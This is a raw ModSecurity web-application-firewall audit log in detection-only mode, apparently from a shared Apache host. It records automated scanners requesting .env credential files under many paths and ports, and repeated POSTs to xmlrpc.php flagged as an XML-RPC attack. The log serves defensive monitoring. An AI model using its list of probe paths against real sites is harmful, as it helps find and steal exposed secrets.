no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=34c73065fe421602cd321b08af015ae71750027884; expires=Sun, 15 Jun 2025 23:51:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d8f45673-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Library/.env"] [unique_id "aE9Oa3wHSJGQ1A1pR0qY1wAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027883772751 650130 (- - -) Stopwatch2: 1750027883772751 650130; combined=1829, p1=308, p2=1433, p3=0, p4=0, p5=88, sr=76, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d8f45673-Z-- --97d67733-A-- [16/Jun/2025:04:21:31.474784 +0530] aE9Ocn2GhYywD7zZgx4C_AAAAAM 185.177.72.210 33390 127.0.0.1 7081 --97d67733-B-- GET /:10000/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97d67733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6ac0695d388b494325a2a951153adc91750027891; expires=Sun, 15 Jun 2025 23:51:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97d67733-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/cgi-bin/.env"] [unique_id "aE9Ocn2GhYywD7zZgx4C_AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027890833385 641471 (- - -) Stopwatch2: 1750027890833385 641471; combined=1874, p1=394, p2=1373, p3=0, p4=0, p5=107, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97d67733-Z-- --64164637-A-- [16/Jun/2025:04:21:32.460998 +0530] aE9Ocx-kH31pk4mNbsVHpwAAAAo 185.177.72.210 33424 127.0.0.1 7081 --64164637-B-- GET /:8000/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64164637-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b8bfbf7ffc94faee02812adc47ddba971750027892; expires=Sun, 15 Jun 2025 23:51:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64164637-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/awstats/.env"] [unique_id "aE9Ocx-kH31pk4mNbsVHpwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027891795956 665105 (- - -) Stopwatch2: 1750027891795956 665105; combined=1738, p1=393, p2=1251, p3=0, p4=0, p5=93, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64164637-Z-- --3d26f156-A-- [16/Jun/2025:04:21:34.426344 +0530] aE9OdVxTdrwJSUMoZvGzKgAAAAc 185.177.72.210 33526 127.0.0.1 7081 --3d26f156-B-- GET /:5000/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3d26f156-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0615331d10203cf7b8a05e9cb95802ed1750027894; expires=Sun, 15 Jun 2025 23:51:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3d26f156-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/stag/.env"] [unique_id "aE9OdVxTdrwJSUMoZvGzKgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027893752464 673943 (- - -) Stopwatch2: 1750027893752464 673943; combined=2182, p1=481, p2=1609, p3=0, p4=0, p5=92, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d26f156-Z-- --4b86686b-A-- [16/Jun/2025:04:21:35.419196 +0530] aE9OdpbumDYPKpRD2ekoRQAAAAA 185.177.72.210 33578 127.0.0.1 7081 --4b86686b-B-- GET /unixtime/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4b86686b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=93e8edd8931ce8579a406c4854505baa1750027895; expires=Sun, 15 Jun 2025 23:51:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4b86686b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/unixtime/.env"] [unique_id "aE9OdpbumDYPKpRD2ekoRQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027894748147 671123 (- - -) Stopwatch2: 1750027894748147 671123; combined=1906, p1=455, p2=1361, p3=0, p4=0, p5=90, sr=155, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b86686b-Z-- --0f89c178-A-- [16/Jun/2025:04:21:39.433903 +0530] aE9Oen2GhYywD7zZgx4DCQAAAAM 185.177.72.210 34368 127.0.0.1 7081 --0f89c178-B-- GET /:8181/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0f89c178-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ae1450b8cfcba45606632723834512c11750027899; expires=Sun, 15 Jun 2025 23:51:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0f89c178-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.suspected"] [unique_id "aE9Oen2GhYywD7zZgx4DCQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027898790414 643567 (- - -) Stopwatch2: 1750027898790414 643567; combined=1878, p1=390, p2=1375, p3=0, p4=0, p5=113, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f89c178-Z-- --436eb833-A-- [16/Jun/2025:04:21:44.421277 +0530] aE9Of8alTF-TysO2fMOAkgAAAAE 185.177.72.210 55558 127.0.0.1 7081 --436eb833-B-- GET /backups/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --436eb833-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=06d081664f5c80eb1c42400f2f0c9a671750027904; expires=Sun, 15 Jun 2025 23:51:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --436eb833-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.old"] [unique_id "aE9Of8alTF-TysO2fMOAkgAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.old"] [unique_id "aE9Of8alTF-TysO2fMOAkgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027903759716 661633 (- - -) Stopwatch2: 1750027903759716 661633; combined=1933, p1=373, p2=1442, p3=0, p4=0, p5=117, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --436eb833-Z-- --6648693d-A-- [16/Jun/2025:04:21:50.893966 +0530] aE9OhpbumDYPKpRD2ekoTQAAAAA 185.177.72.210 60808 127.0.0.1 7081 --6648693d-B-- GET /:8000/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6648693d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0f5adc3bd4c9b25c33c30d98ea2577061750027910; expires=Sun, 15 Jun 2025 23:51:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6648693d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/local/.env"] [unique_id "aE9OhpbumDYPKpRD2ekoTQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027910235406 658625 (- - -) Stopwatch2: 1750027910235406 658625; combined=1887, p1=376, p2=1418, p3=0, p4=0, p5=92, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6648693d-Z-- --40043858-A-- [16/Jun/2025:04:22:05.240231 +0530] aE9OlB-kH31pk4mNbsVHvwAAAAo 128.199.112.101 55926 127.0.0.1 7081 --40043858-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --40043858-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --40043858-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9OlB-kH31pk4mNbsVHvwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027924276826 963461 (- - -) Stopwatch2: 1750027924276826 963461; combined=2750, p1=490, p2=1893, p3=41, p4=56, p5=170, sr=125, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40043858-Z-- --de358d7e-A-- [16/Jun/2025:04:22:58.173390 +0530] aE9OyR-kH31pk4mNbsVH1gAAAAo 185.177.72.210 41852 127.0.0.1 7081 --de358d7e-B-- GET /example02-golang-package/import-underscore/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --de358d7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a1398134bce8ad3cb862091b59a2d681750027978; expires=Sun, 15 Jun 2025 23:52:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --de358d7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/example02-golang-package/import-underscore/.env"] [unique_id "aE9OyR-kH31pk4mNbsVH1gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027977517029 656424 (- - -) Stopwatch2: 1750027977517029 656424; combined=2481, p1=489, p2=1886, p3=0, p4=0, p5=105, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de358d7e-Z-- --ff770370-A-- [16/Jun/2025:04:23:00.612093 +0530] aE9Oy8alTF-TysO2fMOAuwAAAAE 185.177.72.210 53304 127.0.0.1 7081 --ff770370-B-- GET /:8080/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ff770370-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f484043cd0cbfd0d0c8905bf21aa1fde1750027980; expires=Sun, 15 Jun 2025 23:53:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ff770370-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/demo/.env"] [unique_id "aE9Oy8alTF-TysO2fMOAuwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027979950651 661522 (- - -) Stopwatch2: 1750027979950651 661522; combined=2135, p1=490, p2=1569, p3=0, p4=0, p5=75, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff770370-Z-- --f485c352-A-- [16/Jun/2025:04:23:05.326814 +0530] aE9O0B-kH31pk4mNbsVH2QAAAAo 128.199.112.101 53498 127.0.0.1 7081 --f485c352-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f485c352-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f485c352-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9O0B-kH31pk4mNbsVH2QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027984375889 950981 (- - -) Stopwatch2: 1750027984375889 950981; combined=2359, p1=443, p2=1555, p3=40, p4=61, p5=161, sr=118, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f485c352-Z-- --6aaa9942-A-- [16/Jun/2025:04:23:05.513200 +0530] aE9O0H2GhYywD7zZgx4DLwAAAAM 185.177.72.210 53534 127.0.0.1 7081 --6aaa9942-B-- GET /:5601/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6aaa9942-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e9205eee58c9f41080e3b297db8bfc21750027985; expires=Sun, 15 Jun 2025 23:53:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6aaa9942-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/config/.env"] [unique_id "aE9O0H2GhYywD7zZgx4DLwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027984855270 658048 (- - -) Stopwatch2: 1750027984855270 658048; combined=1759, p1=380, p2=1254, p3=0, p4=0, p5=124, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6aaa9942-Z-- --8b799a11-A-- [16/Jun/2025:04:23:32.156726 +0530] aE9O6-xC6fQU5wYvxvlxowAAAAk 185.177.72.210 47658 127.0.0.1 7081 --8b799a11-B-- GET /:10000/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8b799a11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9dd9556cf5fa47c3c41a08c2ae4480611750028012; expires=Sun, 15 Jun 2025 23:53:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8b799a11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 